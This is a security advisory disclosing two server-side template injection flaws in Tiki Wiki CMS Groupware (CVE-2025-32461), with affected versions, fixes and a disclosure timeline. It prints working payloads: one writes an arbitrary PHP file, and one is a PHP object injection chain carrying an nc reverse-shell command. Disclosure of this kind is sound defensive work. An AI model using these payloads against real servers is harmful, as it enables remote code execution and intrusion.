Tiki Wiki CMS Groupware <= 28.3 Two Server-Side Template Injection Vulnerabilities

https://tiki.org

• Affected Versions:

Version 28.3 and prior 28.x versions.
Version 27.2 and prior 27.x versions.
Version 24.8 and prior 24.x versions.
Version 21.12 and prior 21.x versions.

• Vulnerabilities Description:

Tiki Wiki CMS Groupware is affected by two Server-Side Template Injection (SSTI) vulnerabilities, which can be exploited by creating specially crafted wiki pages.

The first vulnerability can be exploited by abusing the customsearch plugin to, e.g., write arbitrary PHP files on the web server by using the following as the source code for a wiki page:

{customsearch tpl="string:{Nette\Utils\FileSystem::write('./evil.php','<?php malicious_code(); ?>')}"}

The second vulnerability can be leveraged by abusing the includetpl plugin to, e.g., carry out PHP Object Injection attacks, subsequently leading to OS command execution on the web server, using the following as the source code for a wiki page:

{includetpl filename="eval:{Laminas\Ldap\Converter\Converter::fromLdapUnserialize('O:18:\"Search_MySql_Table\":1:{S:32:\"\00Search_MySql_Table\00schemaBuffer\";O:28:\"Search_Elastic_BulkOperation\":3:{S:35:\"\00Search_Elastic_BulkOperation\00count\";i:1;S:36:\"\00Search_Elastic_BulkOperation\00buffer\";S:83:\"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4444 > /tmp/f\";S:38:\"\00Search_Elastic_BulkOperation\00callback\";S:6:\"system\";}}')}"}

Successful exploitation of these vulnerabilities requires an account with permissions to create a wiki page and the customsearch or includetpl plugins to be enabled.

• Solution:

Upgrade to version 28.4, 27.3, 24.9, or later.

• Disclosure Timeline:

[11/01/2025] – Vendor notified about the customsearch plugin vulnerability

[13/01/2025] – First vendor response

[15/01/2025] – Vendor notified about the includetpl plugin vulnerability

[27/03/2025] – Vendor attempted to fix the issues with new releases: https://tiki.org/article517

[08/04/2025] – CVE identifier requested

[09/04/2025] – CVE identifier assigned

[10/04/2025] – Vendor informed of the ineffective fix

[18/06/2025] – Vendor resolved the issues with new releases: https://tiki.org/article520

[08/07/2025] – Public disclosure

• CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2025-32461 to these vulnerabilities.

• Credits:

Vulnerabilities discovered by Egidio Romano.